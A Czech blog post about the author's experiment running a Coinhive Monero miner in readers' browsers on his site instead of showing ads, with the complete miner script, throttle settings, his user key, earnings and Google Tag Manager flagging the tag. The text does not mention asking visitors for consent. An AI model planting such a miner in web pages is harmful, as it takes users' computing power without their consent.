Od října do konce listopadu roku 2017 jsem na Českém Tuňákovi spustil experimentálně těžební script algoritmu cryptonight, lépe řečeno MONERO – XMR. Jedná se o kryptoměnu, jejíž těžba na CPU je možna skrze JavaScriptové asynchronní API WebWorkers.
Proč těžba kryptoměn?
Český Tuňák odmítá zapojit web do reklamní infrastruktury a vydělávat tak na pochybných impresích, manipulacích a sdílení dat. Web je z principu nevýdělečný, nezávislý a tvořený čistě pro radost z toho, že je. Zároveň jsem si hrál s myšlenkou, že po dobu čtení článků na Tuňákovi by mohla drobná část nadbytečného výpočetního výkonu čtenářova CPU pracovat pro propočítávání hashů.
Teorie za tím zní:
Lze zaplatit provoz webu jinak, než reklamou? Tedy těžbou kryptoměny?
Coin-hive.com
Vytvořil jsem si účet u služby https://coinhive.com, která poskytuje JavaScriptové knihovny a distribuční API, které jsou schopné těžit MONERO. Coin-hive si z každé vytěžené jednotky bere 30%. Což není málo, ale je to zajím jediná mě známá služba, která něco podobného nabízí, tudíž jsem to prostě chtěl zkusit.
Dokumentace: https://coinhive.com/documentation/miner
User: wm0qtb5OmADLM2Qr4FVArFdRi8xJihrF
Proof-of-concept
Když jsem pustil miner bez úprav parametrů, celkem to začalo smažit CPU, takže první jasná konfigurace je snížení výkonu mineru. K tomu lze použít kombinaci dvou ze tří dostupných parametrů.
- cores – číslo určující počet jader, na kterých se má těžit. Zkoušel jsem přes core-estimator a dělit 2, to celé zaokrouhleno nahoru, tedy aby polovina z vašich jader byla použitelná k těžbě.
- autoThreads – nad API navigator.getHardwareConcurrency (které v mém případě modifikuji přes core-estimator) automaticky odhaduje volné prostředky. Ve výsledku efektivnější, než moje varianta s cores.
- thottle – nastavuje interrupce, tudíž hodnota 0.7 říká, že 70% času bude miner NEAKTIVNÍ.
Dále jsem si k tomu dopsal debugger (Notify) a přidal asynchronní loader.
Celková konfigurace by tedy měla žrát cca 15-20% výkonu vašeho CPU. Což jsem usoudil, že by nemělo být obtěžující a pro tento experiment dostačující. BTW: spousta reklam na netu žere mnohem více zdrojů.
Trakař
(function(){ function Notify(n){var o=console,i=n||!1;this.log=function(n){i&&o.log(n)},this.dir=function(n){i&&o.dir(n)},this.table=function(n){i&&o.table(n)},this.group=function(n){i&&o.group(n)},this.groupCollapsed=function(n){i&&o.groupCollapsed(n)},this.groupEnd=function(){i&&o.groupEnd()},this.warn=function(n){i&&o.warn(n)}} var notify = new Notify(true); notify.group("DARK <XMR> MINER"); notify.log("Registering core-estiomator polyfill"); (function(j){"use strict";var m=20;var e=4194304;var s=navigator.hardwareConcurrency;var w=document;var n=(w.currentScript||w.scripts[w.scripts.length-1]).src.replace(/\/[^\/]+$/,"/");if(!s&&navigator.mimeTypes["application/x-pnacl"]){var r="http://www.w3.org/1999/xhtml";var k=console.error.bind(console);var l=[];var p=function(z){var x=navigator.hardwareConcurrency=z.data;var y;navigator.getHardwareConcurrency=function(B,A){B(x);if(A&&A.progress){A.progress(x,x,x)}};while(y=l.shift()){navigator.getHardwareConcurrency(y[0],y[1])}q.removeEventListener("load",g,true);q.removeEventListener("message",p,true);q.removeEventListener("error",k,true);q.removeEventListener("crash",k,true);w.documentElement.removeChild(q)};var g=function(){a.postMessage(0)};navigator.getHardwareConcurrency=function(y,x){l.push([y,x])};var q=w.createElementNS(r,"div");q.addEventListener("load",g,true);q.addEventListener("message",p,true);q.addEventListener("error",k,true);q.addEventListener("crash",k,true);var a=w.createElementNS(r,"embed");a.setAttribute("path",n+"nacl_module/pnacl/Release");a.setAttribute("src",n+"nacl_module/pnacl/Release/cores.nmf");a.setAttribute("type","application/x-pnacl");q.appendChild(a);w.documentElement.appendChild(q);return}var i=j.performance||Date;if(!i.now){if(i.webkitNow){i.now=i.webkitNow}else{i.now=function(){return +new Date}}}var o=n+"workload.js";var h=false;if(!s){navigator.hardwareConcurrency=1;if(typeof Worker==="undefined"){s=true}}navigator.getHardwareConcurrency=function(C,y){y=y||{};if(!("use_cache" in y)){y.use_cache=true}if(s||(y.use_cache&&h)){C(navigator.hardwareConcurrency);return}w.documentElement.style.cursor="progress";var x=[];var A=1;var B;var z=[];f(function(E,D){c(x,E,m,function(I){if(E===1){Array.prototype.push.apply(z,I);B=b(z);D(true)}else{var K=b(I);var H=K.uvariance/K.size;var J=B.uvariance/B.size;var G=(K.mean-B.mean)/Math.sqrt(H+J);var F=Math.pow(H+J,2)/(Math.pow(K.uvariance,2)/(Math.pow(K.size,2)*(K.size-1))+Math.pow(B.uvariance,2)/(Math.pow(B.size,2)*(B.size-1)));D(d(G,F))}})},function(E){for(var F=0,D=x.length;F<D;F++){x[F].terminate()}w.documentElement.style.cursor="";navigator.hardwareConcurrency=E;h=true;C(E)},y.progress)};function c(x,B,A,C){var y=[];for(var z=x.length;z<B;z++){x.push(new Worker(o))}v(function(D){var F,G=B;for(var E=0;E<B;E++){x[E].onmessage=function(){G--;if(!G){A--;y.push(i.now()-F);if(A){D()}else{C(y)}}}}for(var E=0;E<B;E++){x[E].postMessage(e)}F=i.now()})}function v(x){(function y(){x(y)}())}function f(D,C,y){var A=1,x=1/0;(function B(E){if(y){y(A,x,E)}D(1,function(){D(E,function(F){if(F){A=E;B(2*E)}else{x=E;if(A===1){return C(A)}z(A*3/2,A/4)}})})}(2));function z(E,F){if(y){y(A,x,E)}D(1,function(){D(E,function(G){if(G){A=E;E+=F}else{x=E;E-=F}if(x-A===1){return C(A)}if(!F){return C(x-1)}z(E,F>>1)})})}}function b(B){var F=B.length;if(!F){return null}var A=1/0,G=-1/0;var E=0;var H=0;for(var C=0;C<F;C++){var I=B[C];if(I<A){A=I}if(I>G){G=I}E+=I;H+=Math.pow(I,2)}var J=E/F;var z=Math.pow(J,2);var y=0;var x=0;if(F>1){y=H/F-z;x=(H-F*z)/(F-1)}var D={size:F,mean:J,uvariance:x};return D}var t={1:63.66,2:9.925,3:5.841,4:4.604,5:4.032,6:3.707,7:3.499,8:3.355,9:3.25,10:3.169,11:3.106,12:3.055,13:3.012,14:2.977,15:2.947,16:2.921,17:2.898,18:2.878,19:2.861,20:2.845,21:2.831,22:2.819,23:2.807,24:2.797,25:2.787,26:2.779,27:2.771,28:2.763,29:2.756,30:2.75,32:2.738,34:2.728,36:2.719,38:2.712,40:2.704,42:2.698,44:2.692,46:2.687,48:2.682,50:2.678,55:2.668,60:2.66,65:2.654,70:2.648,80:2.639,100:2.626,150:2.609,200:2.601};function d(A,y){var C=Object.keys(t);var B=C.reduce(function(E,F){if(y<F){return E}return F});var x=C.reduce(function(E,F){if(y>F){return E}return F});var z=x-B;var D=u(t[B],t[x],(y-B)/z);return A<D}function u(y,x,z){return y+(x-y)*z}}(self)); notify.log("Registering sha256 algo"); var sha256 = function(){function e(a,b){return a>>>b|a<<32-b}for(var b=1,a,m=[],n=[];18>++b;)for(a=b*b;312>a;a+=b)m[a]=1;b=1;for(a=0;313>b;)m[++b]||(n[a]=Math.pow(b,.5)%1*4294967296|0,m[a++]=Math.pow(b,1/3)%1*4294967296|0);return function(g){for(var l=n.slice(b=0),c=unescape(encodeURI(g)),h=[],d=c.length,k=[],f,p;b<d;)k[b>>2]|=(c.charCodeAt(b)&255)<<8*(3-b++%4);d*=8;k[d>>5]|=128<<24-d%32;k[p=d+64>>5|15]=d;for(b=0;b<p;b+=16){for(c=l.slice(a=0,8);64>a;c[4]+=f)h[a]=16>a?k[a+b]:(e(f=h[a-2],17)^e(f,19)^f>>>10)+(h[a-7]|0)+(e(f=h[a-15],7)^e(f,18)^f>>>3)+(h[a-16]|0),c.unshift((f=(c.pop()+(e(g=c[4],6)^e(g,11)^e(g,25))+((g&c[5]^~g&c[6])+m[a])|0)+(h[a++]|0))+(e(d=c[0],2)^e(d,13)^e(d,22))+(d&c[1]^c[1]&c[2]^c[2]&d));for(a=8;a--;)l[a]=c[a]+l[a]}for(c="";63>a;)c+=(l[++a>>3]>>4*(7-a%8)&15).toString(16);return c}}(); var config = { user : 'wm0qtb5OmADLM2Qr4FVArFdRi8xJihrF' }; function tracker(){ var miner = new CoinHive.User(config.user,sha256(document.location.hostname), { autoThreads: true, throttle: 0.7 }); miner.start(CoinHive.FORCE_EXCLUSIVE_TAB); // Update stats once per second setInterval(function() { var hashesPerSecond = miner.getHashesPerSecond(); var totalHashes = miner.getTotalHashes(); var acceptedHashes = miner.getAcceptedHashes(); var threads = miner.getNumThreads(); notify.log("CORES: " + threads + " --H/s: " + hashesPerSecond + " --TOTAL: " + totalHashes + " --ACCEPTED: " + acceptedHashes); }, 1000); } //this function will work cross-browser for loading scripts asynchronously function loadScript(src, callback){ var s, r, t; r = false; s = document.createElement('script'); s.type = 'text/javascript'; s.src = src; s.onload = s.onreadystatechange = function() { //console.log( this.readyState ); //uncomment this line to see which ready states are called. if ( !r && (!this.readyState || this.readyState == 'complete') ) { r = true; callback(); } }; t = document.getElementsByTagName('script')[0]; t.parentNode.insertBefore(s, t); } // init loadScript("https://coin-hive.com/lib/coinhive.min.js",tracker); notify.log("Loading async miner"); notify.groupEnd(); })();
Výsledky za týden
Za týden se skrze tento script spočítalo 2,5 milionu hashů, což odpovídá mému zisku 75 haléřů. Pokud by mě to mělo živit, asi bych brzy zhebnul. Pokud bych však 15 000 krát zvýšil návštěvnost webu, už by to mohlo být zajímavé a bylo by i na kaviárové toasty.
Strejda Google
Celý script jsem na web umístil přes Google Tag Manager.
Po týdnu se mi v administraci GTM objevila zajímavá hláška.
Tak nějak jsem hned tušil, která bije, takže script je nyní odstavený a budu jej muset předělat přímo do kódu ČeskéhoTuňáka. Neshledávám totiž službu coin-hive.com za kyberkriminální. Navíc jsem dělal základní analýzu scriptů mineru a i analýzu trafficu a krom hashů se neposílalo nic závadného.
Psal jsme tedy feedback do Google, jak to vlastně s tou těžbou a umístěním obdobných tagů v GTM je. Čekám na případné vyjádření. Kdyžtak doplním. Asi nedoplním, jsou to dva měsíce a Google mlčí.
End of experiment
2. prosince jsem experiment ukončil. Celkový výsledek je, že za dva měsíce script na webu vytěžil Monero za 11 Korun českých. Moc krásné. Ale měsíčně to vydělá sotva na lahváče z Lidlu.